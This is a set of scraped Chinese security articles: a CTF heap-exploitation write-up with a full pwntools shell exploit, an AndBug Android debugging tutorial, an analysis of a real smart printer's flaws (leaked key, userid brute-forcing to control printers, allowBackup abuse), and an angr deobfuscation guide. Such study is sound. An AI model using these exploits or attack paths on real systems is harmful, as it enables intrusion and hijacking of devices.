保护全开，然后看看ida分析逻辑：
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
unsigned int choice; // ST0C_4
__int64 result; // rax
init_0();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
choice = menu();
result = choice;
if ( choice != 2 )
break;
edit();
}
if ( result > 2 )
break;
if ( result != 1 )
goto LABEL_12;
malloc_0();
}
if ( result != 3 )
break;
free_0();
}
if ( result == 4 )
return result;
LABEL_12:
puts("bad choice");
}
}
常见的菜单题，
这里malloc的大小时unsortedbin的范围，没有fastbin的攻击，继续。
这里看看漏洞点：
edit时存在offbyone，同时没有puts函数可以泄露地址。
攻击思路如下：
1、利用offbyone实现overlap
2、利用overlap实现改BK指针，攻击global_max_fast
3、改FD指针为stdout-0x51，成功实现劫持
4、改结构体从而泄露真实地址
5、然后伪造stderr的vtable，由于程序报错会执行vtable+0x18处的IO_file_overflow函数，所以将这个IO_file_overflow函数改成onegadget
6、malloc很大的块，最后触发IO_file_overflow中的_IO_flush_all_lockp，从而getshell。
这里_wide_data要填我们劫持的地址+1的位置，同时要改_mode为1，表示报错模块。
上exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./note_five')
if local:
p = process('./note_five')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ，{xxx_got:system_mallocr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
def bk(mallocr):
gdb.attach(p,"b *"+str(hex(mallocr)))
def debug(mallocr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+mallocr)))
else:
gdb.attach(p,"b *{}".format(hex(mallocr)))
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def malloc(idx,size):
ru("choice>> ")
sl('1')
ru("idx: ")
sl(str(idx))
ru("size: ")
sl(str(size))
def free(index):
ru("choice>> ")
sl('3')
ru("idx:")
sl(str(index))
def edit(index,content):
ru("choice>> ")
sl('2')
ru("idx: ")
sl(str(index))
ru("content: ")
sd(content)
def pwn():
malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xe8)
malloc(3,0xf8)
malloc(4,0xf8)
free(0)
payload = 'c' * 0xe0 + p64(0x2f0) + '\x00'
edit(2,payload)
free(3)
malloc(0,0x2f0 - 0x10)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
free(1)
global_max_fast = 0x77f8
stdout = 0x77f8 - 0x1229
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += p64(0) + p16(0x77f8 - 0x10) + '\n'
edit(0,payload)
# debug(0)
malloc(3,0xf8)
malloc(3,0xf8)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1) + "\n"
edit(0,payload)
free(2)
payload = '\x11' * 0xf0
payload += p64(0) + p64(0x101)
payload += '\x22' * 0xf0 + p64(0) + p64(0xf1)
payload += p16(stdout) + '\n'
edit(0,payload)
malloc(3,0xe8)
malloc(4,0xe8)
# debug(0)
py = ''
py += 'a'*0x41 + p64(0xfbad1800) + p64(0)*3 + '\x00' + '\n'
edit(4,py)
rc(0x40)
libc_base = u64(rc(8)) - 0x3c5600
onegadget = libc_base + 0xf1147
print "libc_base--->" + hex(libc_base)
system = libc_base + libc.symbols["system"]
fake_vtable = libc_base + 0x3c5600-8
binsh = libc_base + libc.search('/bin/sh\x00').next()
py = '\x00' + p64(libc_base+0x3c55e0) + p64(0)*3+p64(0x1)+p64(0)+p64(onegadget)+p64(fake_vtable) + '\n'
edit(4,py)
# trigger abort-->flush
malloc(1,1000)
i = 0
while 1:
print i
i += 1
try:
pwn()
except EOFError:
p.close()
local = 1
elf = ELF('./note_five')
if local:
p = process('./note_five')
libc = elf.libc
continue
else:
p = remote('121.40.246.48',9999)
else:
sl("ls")
break
p.interactive()
# p.interactive()
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL
# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
总结，IO_File是做堆题目时常用到的很好的方法，掌握泄露地址和改vtable实现控制程序执行流程，受益匪浅。 | 社区文章 |
# 【系列分享】安卓Hacking Part 23：基于AndBug的Android应用调试技术
|
##### 译文声明
本文是翻译文章，文章来源：infosecinstitute.com
原文地址：<http://resources.infosecinstitute.com/android-hacking-and-security-part-23-introduction-to-debugging-android-apps-using-andbug/#article>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**概述**
在本系列的前一篇文章中，我们讨论了如何将Cydia底层扩展写入Android应用程序。
在本文中，我们将为大家介绍如何使用AndBug分析Android应用程序。 根据其文档，“AndBug是Android
Dalvik虚拟机的逆向工程调试器，它采用Java调试线协议（JDWP）与Android应用程序进行交互，并且无需源代码。”AndBug具有丰富的功能，可以考察应用程序运行过程中加载特定类/方法时到底发生了什么事情。这个工具最大的优点就是用起来超级简单。
**搭建环境**
AndBug可以从以下链接下载：
<https://github.com/swdunlop/AndBug>
下载后，可以使用以下命令完成AndBug的解压和安装。需要注意的是，在执行该操作之前，请确保已安装了Python。
$ unzip AndBug-master.zip
$
$cd AndBug-master
$
$ ls
CONTRIBUTORS Makefile andbug info pylint.rc tests
LICENSE README.rst build lib setup.py
$
$ sudo python setup.py install
$
完成安装后，您可以按照下面的提示运行AndBug，以判断安装是否成功。
$ ./andbug
## AndBug (C) 2011 Scott W. Dunlop <[email protected]>
AndBug is a reverse-engineering debugger for the Android Dalvik virtual machine employing the Java Debug Wire Protocol (JDWP) to interact with Android applications without the need for source code. The majority of AndBug’s commands require the context of a connected Android device and a specific Android process to target, which should be specified using the -d and -p options.
The debugger offers two modes — interactive and noninteractive, and a comprehensive Python API for writing debugging scripts. The interactive mode is
accessed using:
$ andbug shell [-d <device>] -p <process>.
The device specification, if omitted, defaults in an identical fashion to the ADB debugging bridge command, which AndBug uses heavily. The process
specification is either the PID of the process to debug, or the name of the process, as found in “adb shell ps.”
AndBug is NOT intended for a piracy tool or other illegal purposes, but as a tool for researchers and developers to gain insight into the implementation
of Android applications. Use of AndBug is at your own risk, like most open source tools, and no guarantee of fitness or safety is made or implied.
## Options:
— -p, –pid <opt>
the process to be debugged, by pid or name
— -d, –dev <opt>
the device or emulator to be debugged (see adb)
— -s, –src <opt>
adds a directory where .java or .smali files could be found
## Commands:
— class-trace | ct | ctrace <class-path>
reports calls to dalvik methods associated with a class
— classes [<partial class name>]
lists loaded classes. if no partial class name supplied, list all classes.
— dump <class-path> [<method-query>]
dumps methods using original sources or apktool sources
— help [<command>]
information about how to use andbug
— inspect <object-id>
inspect an object
— methods <class-path> [<method-query>]
lists the methods of a class
— shell
starts the andbug shell with the specified process
— source <src-dir>
adds a source directory for finding files
— statics <class-path>
lists the methods of a class
— thread-trace | tt | ttrace <thread-name>
reports calls to specific thread in the process
— threads [<name>] [verbose=<verbose level>]
lists threads in the process. verbosity: 0 (thread), (1 methods), (2 vars), (3 vars data)
— version | v
Send version request.
## Examples:
— andbug classes -p com.ioactive.decoy
— andbug methods -p com.ioactive.decoy com.ioactive.decoy.DecoyActivity onInit
现在，您需要启动一个模拟器，并验证是否可以通过adb访问该模拟器，具体命令如下所示。
$ adb devices
List of devices attached
emulator-5554 device
$
如您所见，仿真器正在运行。 现在，我们需要一个应用来测试和观察相关的调试效果。
我专门为这篇文章开发了一个简单的应用程序。这个目标应用程序可以从本文的下载部分下载。 该应用程序使用一个公开的包装器AESCrypt来加密用户输入的卡号。
请注意，用于生成密钥的密码是硬编码在应用程序中的。
您可以使用以下命令来安装该应用程序。
$ adb install andbug.apk
**分析目标应用程序**
现在我们已经完成了相关的环境搭设工作。接下来，我们开始使用AndBug来分析目标应用程序。应用程序启动后，看起来如下所示。
接下来，让我们使用adb找出这个目标应用程序的进程ID。这里，我们可以先运行ps命令，然后通过grep字符串andbug来完成这项任务。
$ adb shell ps | grep -i ‘andbug’
u0_a69 1090 57 199052 23260 ffffffff b6ec35cc S com.androidpentesting.andbug
$
上面的命令结果显示，在本例中andbug的进程标识是1090。
下面，让我们通过AndBug“钩住”这个进程并获得一个shell与其进行交互， 具体命令如下所示。
$ andbug shell -p 1090
## AndBug (C) 2011 Scott W. Dunlop <[email protected]>
>>
这样的话，我们就可以利用这个shell来做各种有趣的事情了。首先，让我们找出已经加载的类。这项任务可以通过下列命令来完成。
>> classes andbug
## Loaded Classes
— com.androidpentesting.andbug.MainActivity
— com.androidpentesting.andbug.MainActivity$1
>>
您可能已经注意到了，我们正在使用“ugbug”这个词来寻找类。其中，这里有两个加载的类与这个查询相匹配。除此之外，您也可以使用完整的软件包名称进行搜索。
现在，让我们来识别com.androidpentesting.andbug.MainActivity类中已加载的方法。实际上，这项任务可以通过下列命令来完成。
> > methods com.androidpentesting.andbug.MainActivity
## Methods Lcom/androidpentesting/andbug/MainActivity;
— com.androidpentesting.andbug.MainActivity.<init>()V
— com.androidpentesting.andbug.MainActivity.access$000(Lcom/androidpentesting/andbug/MainActivity;Ljava/lang/String;Ljava/lang/String;)V
— com.androidpentesting.andbug.MainActivity.encryptandSave(Ljava/lang/String;Ljava/lang/String;)V
— com.androidpentesting.andbug.MainActivity.onCreate(Landroid/os/Bundle;)V
>>
正如你在上面所看到的那样，encryptandSave（）是这个类中让我们感兴趣的一个方法。
重要的是，我们可以使用method-trace命令“钩住”这些方法，并在应用程序运行时监视它们的行为。如果想分析类中的所有方法的话，只要运行ct命令即可，它是class-trace的缩写。
此外，我们还可以对com.androidpentesting.andbug.MainActivity类运行ct命令，具体如下图所示。
>> ct com.androidpentesting.andbug.MainActivity
## Setting Hooks
— Hooked com.androidpentesting.andbug.MainActivity
>>
正如你在上面看到的那样，指定的类已被“钩住”了。 现在，让我们回到应用程序并输入一个数字，然后点击“Encrypt and Store”按钮。
单击这个按钮时，应用程序将接收用户输入，并使用AES 256对输入内容进行加密，然后将加密的字符串存储在SharedPreferences中，如下图所示。
$ adb shell
root@generic:/ # cd data/data/com.androidpentesting.andbug
root@generic:/data/data/com.androidpentesting.andbug # ls
cache
lib
shared_prefs
root@generic:/data/data/com.androidpentesting.andbug # cd shared_prefs
root@generic:/data/data/com.androidpentesting.andbug/shared_prefs # ls
bankdetails.xml
ankdetails.xml <
<?xml version=’1.0′ encoding=’utf-8′ standalone=’yes’ ?>
<map>
<string name=”accountnumber”>789W4Kw6WOtAmY6fKasj3g==</string>
</map>
root@generic:/data/data/com.androidpentesting.andbug/shared_prefs #
正如你在上面看到的那样，这个字符串已经被加密和存储了。
但是，让我们再来看看AndBug shell中发生了什么。
>> ct com.androidpentesting.andbug.MainActivity
## Setting Hooks
— Hooked com.androidpentesting.andbug.MainActivity
>> ## trace thread <1> main (running suspended)
— com.androidpentesting.andbug.MainActivity.access$000
(Lcom/androidpentesting/andbug/MainActivity;Ljava/lang/String;Ljava/lang/String;)V:0
— com.androidpentesting.andbug.MainActivity$1.onClick(Landroid/view/View;)V:25
— this=Lcom/androidpentesting/andbug/MainActivity$1; <831945677304>
— accountnumber=12345
— v=Landroid/widget/Button; <831945630640>
— android.view.View.performClick()Z:18
— this=Landroid/widget/Button; <831945630640>
— li=Landroid/view/View$ListenerInfo; <831945677320>
— android.view.View$PerformClick.run()V:2
— this=Landroid/view/View$PerformClick; <831945498576>
com.androidpentesting.andbug.MainActivity.access$000
(Lcom/androidpentesting/andbug/MainActivity;Ljava/lang/String;Ljava/lang/String;)V:6
— x2=superstrongsecretkey
— x0=Lcom/androidpentesting/andbug/MainActivity; <831945423976>
— x1=12345
— com.androidpentesting.andbug.MainActivity$1.onClick(Landroid/view/View;)V:25
— this=Lcom/androidpentesting/andbug/MainActivity$1; <831945677304>
— accountnumber=12345
— v=Landroid/widget/Button; <831945630640>
— android.view.View.performClick()Z:18
— this=Landroid/widget/Button; <831945630640>
— li=Landroid/view/View$ListenerInfo; <831945677320>
太有趣啦！我们竟然可以看到用于生成加密密钥的密码。这是因为当调用特定方法时，AndBug能够显示其参数，如上所示。这在渗透测试期间的各种场景中是非常方便的。
在上述情况下，输出被截获，同时AndBug会显示指定类的所有方法和参数。 如前所述，您可以使用method-trace或mt命令挂接到特定方法上面。
AndBug工具不仅有趣，而且非常有用，我们建议您不妨将其收入到Android应用程序黑箱评估的工具箱中。我敢保证，只要您使用一次，肯定会喜欢上这个工具的。
传送门
[](http://bobao.360.cn/learning/detail/122.html)
* * *
[安卓 Hacking Part 1：应用组件攻防（连载）](http://bobao.360.cn/learning/detail/122.html)
[安卓 Hacking Part 2：Content
Provider攻防（连载）](http://bobao.360.cn/learning/detail/127.html)
[安卓 Hacking Part 3：Broadcast
Receivers攻防（连载）](http://bobao.360.cn/learning/detail/126.html)
[安卓 Hacking Part
4：非预期的信息泄露（边信道信息泄露）](http://bobao.360.cn/learning/detail/133.html)
[安卓 Hacking Part
5：使用JDB调试Java应用](http://bobao.360.cn/learning/detail/138.html)
[安卓 Hacking Part 6：调试Android应用](http://bobao.360.cn/learning/detail/140.html)
[安卓 Hacking Part 7：攻击WebView](http://bobao.360.cn/learning/detail/142.html)
[安卓 Hacking Part 8：Root的检测和绕过](http://bobao.360.cn/learning/detail/144.html)
[安卓 Hacking Part 9：不安全的本地存储：Shared
Preferences](http://bobao.360.cn/learning/detail/150.html)
[安卓 Hacking Part 10：不安全的本地存储](http://bobao.360.cn/learning/detail/152.html)
[安卓 Hacking Part
11：使用Introspy进行黑盒测试](http://bobao.360.cn/learning/detail/154.html)
[安卓 Hacking Part 12：使用第三方库加固Shared
Preferences](http://bobao.360.cn/learning/detail/156.html)
[安卓 Hacking Part
13：使用Drozer进行安全测试](http://bobao.360.cn/learning/detail/158.html)
[安卓 Hacking Part
14：在没有root的设备上检测并导出app特定的数据](http://bobao.360.cn/learning/detail/161.html)
[安卓 Hacking Part
15：使用备份技术黑掉安卓应用](http://bobao.360.cn/learning/detail/169.html)
[安卓 Hacking Part 16：脆弱的加密](http://bobao.360.cn/learning/detail/174.html)
[安卓 Hacking Part 17：破解Android应用](http://bobao.360.cn/learning/detail/179.html)
[安卓 Hacking Part 18：逆向工程入门篇](http://bobao.360.cn/learning/detail/3648.html)
[**安卓 Hacking Part
19：NoSQL数据库不安全的数据存储**](http://bobao.360.cn/learning/detail/3653.html)
[**安卓Hacking Part 20：使用GDB在Android模拟器上调试应用程序**
****](http://bobao.360.cn/learning/detail/3677.html)
[**安卓Hacking Part 22：基于Cydia Substrate扩展的Android应用的钩子和补丁技术**
****](http://bobao.360.cn/learning/detail/3679.html) | 社区文章 |
# 独角兽暑期训练营 | 某网红打印机安全分析（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
该课题由独角兽暑期训练营第二届学员张熙宸完成，课题完成后， 等待厂商修复相关漏洞，到现在才发布。
360独角兽安全团队每年暑假都会面向在校学生举办一次暑期训练营，申请者投递简历并提交自己想做的课题介绍后，若入选，会在360技术专家的指导下完成课题。
本系列文章会发布第二届训练营6位学员在训练营中的成果。文章相关代码后续会在[训练营github代码仓库](https://github.com/UnicornTeam/summer-camp)发布 。
## 前言
假期研究了一款智能打印机，后来某厂送来了一系列的待检测设备，惊讶的发现，和我研究的打印机工作机制如此类似。因此我觉得这个打印机就有了一定的代表性。写了这篇文章，总结一下IOT的一些攻击思路。研究期间，我的同事、朋友和导师给予了我很大帮助，这篇研究总结属于大家共同成果。
## 了解工作机制
研究对象是咕咕打印机第二代，在阅读下面内容之前，建议先在网上找一些使用教程了解一下。他的长相如下：
他的工作机制如下：
### 本地模式
单刀双掷开关拨到本地模式的时候，打印机这时自己会打印出来一个自己发出的热点的名称和密码。密码很简单：1234567890，应该是都写死在固件里的。连接热点是时候，允许多台设备连接，但是在我电脑连入热点之后，却抓不到他的包，不管是wireshark还是burp里都是。有兴趣的可以尝试无线网卡抓一下，当时我没有试。这种多设备连接极容易造成打印内容被窃取。
### API模式
官方给了一个API的调用文档，通过构造固定格式的URL发送到服务器来控制打印机。这个web接口请求服务器打印的接口和APP请求的接口不一样。
### 云端模式
手机APP向服务器发送请求，服务器再发给打印机控制打印。ＡＰＰ在线绑定设备详情网上有很多。第一次配置打印机进行联网的过程中会产生一个广播的WiFi，这个WiFi是没有密码的，与本地模式的WiFi不一样。大概是起引导打印机连入家庭互联网的作用。APP和服务器的通信好说，那服务器怎么和打印机对接呢？使用时我发现手机发送请求，若设备没供电，当再次上电就会全部打出。因此猜测是固件里写了上电扫描之类的，开机就搜索服务器网络，扫到之后就连上，之前积压的也就打印了。此外，官方还有一个网页版APP。这个网页版的APP的接口和手机APP的接口也不一样（这个有大用处）
## 信息收集
### 硬件层面
主控是Marvell88MW300，整合Cortex-M4 MCU与Wi-Fi于单一芯片
Flash芯片是MX25L6433F
蓝牙芯片是CC2541，但在G2款中完全没有用到该芯片
固件提取思路：
人民币玩家：用烧录器（建议买RT809f
），通过上位机一键读取。不想把芯片焊下来可以用银引脚探针。要搭配烧录座。可以把芯片焊下来。可以把芯片焊下来。把芯片焊下来的话，需要搭配烧录座。建议最好焊下来，用探针的话，其他电路会造成干扰（300元左右）
普通玩家：买一块最小系统板搭配烧录座。查看需要提取的flash芯片的手册中，存储的起始地址，然后写一个例程，让主控芯片把flash下这串数据全部读取下来。（几十元左右）
填坑：
像这类的单片机程序并不像路由器固件那样的文件系统可以通过binwalk直接解压出来，而是需要通过ida之类平台的对单片机的汇编指令来反推出原本的程序逻辑，并且可能需要导入一些支持该框架的脚本。如果是默认或者错选框架的话，会导致无法读取。出现全是db这样的情况。
由于我不是二进制选手，所以我对固件的探索仅到成功提取就截止了。
### web层面
抓包：得到发送地址、分析发送内容、寻找注入点、cookies利用等
抓包过程中发现了服务器ip，发现一个明文传输的用户名和密码（这个在后期的收集中经常出现），是个SOAP协议，但是构造注入并未成功。经过跟官方的交流，得知这webservice通过和客户端进行认证的，但是泄露了也不会造成很大危害，因为他进行了二次加密。这或许也印证了我为什么构造注入会不成功。
扫描：扫IP、扫二级域名、扫目录、扫端口。扫到的越多，收集到的信息越多，可能暴露的漏洞也就越多。可能存在源码泄露、上传漏洞、库未授权访问、xss、csrf、ssrf等诸多常见问题。
审代码：分析是否存在身份未校验、越权等漏洞。对于加密传输信息，是否能找到加解密方式。是否存在反序列化、是否存在不合理的处理机制，造成畸形数据注入导致系统崩溃。
测试中发现网页版APP网站<http://w.memobird.cn/cn/w/login.aspx>
Web API打印官方手册
[open.memobird.cn/upload/webapi.pdf](file:///C:%5CUsers%5CASUS%5CDesktop%5Copen.memobird.cn%5Cupload%5Cwebapi.pdf)
咕咕机官方API源码 <https://github.com/memobird/gugu-php>
Webservice登录网址（用APP账号登录，但是选项都没有权限）:<http://139.217.205.76/Login.aspx>
发现二级域名扫到一个web接口源码 <http://im.memobird.cn/wse/wsesmart.asmx>
发现ip开放了80、3389、11211等端口，但是都没有找到突破点。
发现源码泄露，这个config泄露了APP发包时加解密的算法、私钥。
上传目录未找到漏洞
### APP层面
先在APP漏洞扫描平台
<https://security.tencent.com/index.php/blog/msg/109>
上扫描APP中危险函数或配置。
然后尝试脱壳：安装安卓环境：可以在夜神模拟器上按xpoesd，也可以去下Android
Studio，再下个sdk，搭建脱壳机，目前市场上很多加固APP都可以被脱。
找“摘要”：AndroidManifest.xml中包含了APP的配置、包名、入口。从这里可以对整个APP框架大概了解，其中可以发现adb
backup等风险配置。
找“函数”：手机APP的包和APP源码更配哦。想找加解密或者WiFi配置，蓝牙配置等的源码，搜索相关函数。在APP反编译的代码中找到了写在里面的这个用户名密码和APP加密发送数据的私钥
对于二次打包：二次打包对新手较难，主要是签名认证难以绕过或仿制。未经认证的app在安装后无法运行。根据反汇编的代码，高仿原应用程序难度也较大。直接复制粘贴反汇编代码，重新打包，会有很多错误。而且新包名若与原包相同，是不能被放到应用市场上的。
## 攻击思路整理并实现攻击
### 传输内容嗅探
不管是本地模式还是云端模式，可做中间人攻击来截获打印内容。这里我是用手机转代理到电脑上，拦截了数据包。发现传输的时间和传输的内容都以base64方式进行编码，并未进行复杂的加密。
左图是app中的预览效果。右图是网站中解码的效果，图片还原注意加上头
### 如何控制打印机
**批量控制打印机**
漏洞成因：
1.AK泄露导致越权：在官方公开的API调用实例当中，泄露一可用AK。原本进行API打印需要根据流程申请AK，有效ＡＫ泄露导致任何人都可以在未申请的情况下，成为了开发者，拥有网上打印权限.。
下图是官方API给的打印所需构造的URL及其中包含的参数：
这里解释一下各个参数的含义：
memobirdID是设备编号，双击咕咕机时会自动打印出来
useridEntifying在官方开发群中说的是为咕咕号，是在APP中“我的”中查看到的6位编号
userid是根据APP里面注册之后，就会分配一个固定的userid。因为有些用户注册了，但是没有买设备，所以会造成一些userid并没有对应的设备编号，也会存在一个userid对应多个设备编号的情况。
所以：AK（形同虚设）+时间（形同虚设）+memobirdID + useridEntifying àuserid
2.服务器校验机制不完善：官方在要求绑定的时候，输入的useridEntifying需为咕咕号，文档中却说用户自定义。在官方公开的API源码（官方放在GitHub了：<https://github.com/memobird/gugu-php>）当中分析却是，useridentifying未做任何处理，相当于架空该参数，在有设备编号的情况下直接返回userid
所以：AK（形同虚设）+ 时间（形同虚设）+memobirdID → userid
因为：memobirdID(16字节)+userid（1-6字节不等）→ 打印
memobirdID → userid
考虑：爆破memobirdID → 得到userid
memobirdID + userid → 打印，但memobirdID太长，爆破困难，并且猜测userid可能是递增，可能是统计用户量的值。
尝试：memobirdID ← userid
爆破userid → 得到 memobirdID
memobirdID + userid → 打印
3.加解密方式泄露：
在APP网页版中，点击打印
我们抓到了一个与userid有关，能返回smartguid（ 值=memobirdID ）的包
但是不管是发送还是响应，都是密文。我们要是想爆破简短的userid，就需要懂得他的加密方式，发送我们爆破，加密后的userid，他才会返回给我们smartguid。
这时我们之前扫到的那个config就有用了。这里面是加密算法
或者在APP中也可发现蛛丝马迹
加解密分析：
因为：GetSmartCoreByUserID，返回了加密的Smartguid
猜测：parameter应该是加密的userid。
验证：抓到的包中标黄的目录文件是之前泄露的源码，这里面有request发出前的加解密方式，大意是利用时间戳和私钥进行DES加解密，而且时间戳只精确到秒的十位，个位不参与。在github上找到一个别人写的py脚本
解密验证了猜想。
所以：userid → 加密的Smartguid
尝试：加密的Smartguid → 明文Smartguid
因为：userid（明）→ ← userid（密）
猜测： Smartguid （明）→ ← Smartguid （密）
尝试：用与userid相同的解密方式，解密Smartguid，发现失败。而且respond的时间戳和加密不是一个系统时段上的，估计算法可能也不一样了 。
4.打印所需参数可逆推
在点击查看已绑定的咕咕机的详情的时候
抓到这样一个能返回smartguid的明文的包！就是我们期待已久的：加密的Smartguid à明文Smartguid
这是两个危害比较严重的逆推：
明文和密文可以逆推
userid和smartguid逆推
这样导致所需打印参数通过爆破全部能获取
漏洞利用：根据导师写的脚本（附在github里），可在网络中爬到众多打印机，进而控制他们
**钓鱼控制打印机**
安卓API 8以上，备份设置默认开启。在开发者未经处理的情况下，会导致用户名和密码直接被备份。当备份到其他设备上时，该设备可直接登录被备份人的身份。
当前主流APP认识到此设置风险，纷纷将备份数据设置为需要重新登录才可以恢复。但众多小众APP并未意识到，导致隐私严重泄露
漏洞利用：
利用思路：在网上找到了一个脚本可以在电脑上批量检测手机中开了allowbackup的APP并批量备份。<https://sobug.com/article/detail/16>
预计一部手机中三分之一以上的APP可能会被波及。导致此手机中大量账号及其他敏感信息泄露。
尝试：我们学校的APP存在此配置问题，会导致学生身份证，学号等泄露。亦可以尝试一些租房APP，可能会有更多泄露。下图是咕咕机APP中备份文件中暴露的用户名和密码。
**蓝牙控制打印机**
此漏洞涉及型号为GT1，为纯蓝牙通信模式。以下研究全部属于我导师：
研究目标
上面有对二代的打印机进行分析，发现旗下还有一款三代用蓝牙控制的打印机，与二代不通的是三代是无法进行远程打印的，只能通过手机的蓝牙和打印机链接，打印机无法自己链接服务器，但是可以通过云端接口将打印的数据传给手机，然后手机与打印机进行蓝牙链接之后打印机自动打印纸条，我们下篇会对对这款打印机进行安全分析。 | 社区文章 |
作者： **[bird@tsrc](https://security.tencent.com/index.php/blog/msg/112)**
## 1\. 背景
### 1.1 控制流平坦化
控制流平坦化(control flow flattening)的基本思想主要是通过一个主分发器来控制程序基本 块的执行流程，例如下图是正常的执行流程
经过控制流平坦化后的执行流程就如下图
这样可以模糊基本块之间的前后关系，增加程序分析的难度，同时这个流程也很像VM的执行 流程。更多控制流平坦化的细节可以看[Obfuscating C++
programs via control flow
flattening](http://ac.inf.elte.hu/Vol_030_2009/003.pdf)，本文以 [Obfuscator-LLVM](https://github.com/obfuscator-llvm/obfuscator/tree/llvm-3.6.1)
的控制流平坦化为例。
### 1.2 符号执行
[符号执行](https://pdfs.semanticscholar.org/a29f/c90b207befb42f67a040c6a07ea6699f6bad.pdf)
是一种重要的形式化方法和软件分析技术，通过使用符号执行技术，将程序中变量的值表示为符号值和常量组成的计算表达式，符号是指取值集合的记号，程序计算的输出被表示为输入符号值的函数，其在软件测试和程序验证中发挥着重要作用，并可以应用于程序漏洞的检测。
符号执行的发展是从静态符号执行到动态符号执行到[选择性符号执行](http://dslab.epfl.ch/pubs/selsymbex.pdf)，动态符号执行会以具体
数值作为输入来模拟执行程序，是[混合执行](http://mir.cs.illinois.edu/marinov/publications/SenETAL05CUTE.pdf)(concolic
execution)的典型代表，有很高的精确度，目前较新的符号执行工具有[Triton](https://github.com/JonathanSalwan/Triton)和[angr](https://github.com/angr/angr)，本文是以angr为例。
## 2\. 分析
首先写一个简单的示例程序
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int check_password(char *passwd) {
int i, sum = 0;
for (i = 0; ; i++) {
if (!passwd[i]) {
break;
}
sum += passwd[i];
}
if (i == 4) {
if (sum == 0x1a1 && passwd[3] > 'c' && passwd[3] < 'e' &&passwd[0] == 'b') {
if ((passwd[3] ^ 0xd) == passwd[1]) {
return 1;
}
puts("Orz...");
}
}
else{
puts("len error");
}
return 0;
}
int main(int argc, char **argv) {
if (argc != 2){
puts("error");
return 1;
}
if (check_password(argv[1])){
puts("Congratulation!");
}
else{
puts("error");
}
return 0;
}
编译
gcc check_passwd.c -o check_passwd
用IDA查看未经过控制流平坦化的控制流程图(CFG)
添加控制流平坦化
build/bin/clang check_passwd.c -o check_passwd_flat -mllvm -fla
可以看到控制流平坦化后的CFG非常漂亮
通过分析可以发现原始的执行逻辑只在真实块(自己想的名称...)以及序言和retn块中，其中会
产生分支的真实块中主要是通过CMOV指令来控制跳转到哪一个分支，因此只要确定这些块的
前后关系就可以恢复出原始的CFG，这个思路主要是参考[Deobfuscation: recovering an OLLVM-protected
program](http://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html)。
## 3\. 实现
#### 3.1 获取真实块、序言、retn块和无用块
由于angr的CFG跟IDA的有点不同，因此本文使用[BARF](https://github.com/programa-stic/barf-project)来获取，后来问了Fish Wang可以 用[angr-management](https://github.com/angr/angr-management/blob/master/angrmanagement/utils/graph.py) 下的to_supergraph来获取。主要思路:
1. 函数的开始地址为序言的地址
2. 序言的后继为主分发器
3. 后继为主分发器的块为预处理器
4. 后继为预处理器的块为真实块
5. 无后继的块为retn块
6. 剩下的为无用块
主要代码:
### 3.2 确定真实块、序言和retn块的前后关系
这个步骤主要是使用符号执行，为了方便，这里把真实块、序言和retn块统称为真实块，符号
执行从每个真实块的起始地址开始，直到执行到下一个真实块。如果遇到分支，就改变判断值
执行两次来获取分支的地址，这里用angr的inspect在遇到类型为ITE的IR表达式时，改变临时 变量的值来实现，例如下面这个块
使用 **statement before** 类型的inspect:
修改临时变量28为false或true再执行就可以得到分支的地址
t48 = ITE(t28,0xca2df6de,0xaf59b039)
如果遇到call指令，使用hook的方式直接返回
主要代码:
### 3.3 Patch二进制程序
首先把无用块都改成nop指令
然后针对没有产生分支的真实块把最后一条指令改成jmp指令跳转到下一真实块
针对产生分支的真实块把CMOV指令改成相应的条件跳转指令跳向符合条件的分支，例 如 `CMOVZ` 改成 `JZ` ，再在这条之后添加 JMP
指令跳向另一分支
上述就是去除控制流平坦化的总体实现思路。
## 4\. 演示
去除制定函数的控制流平坦化
python deflat.py check_passwd_flat 0x400530
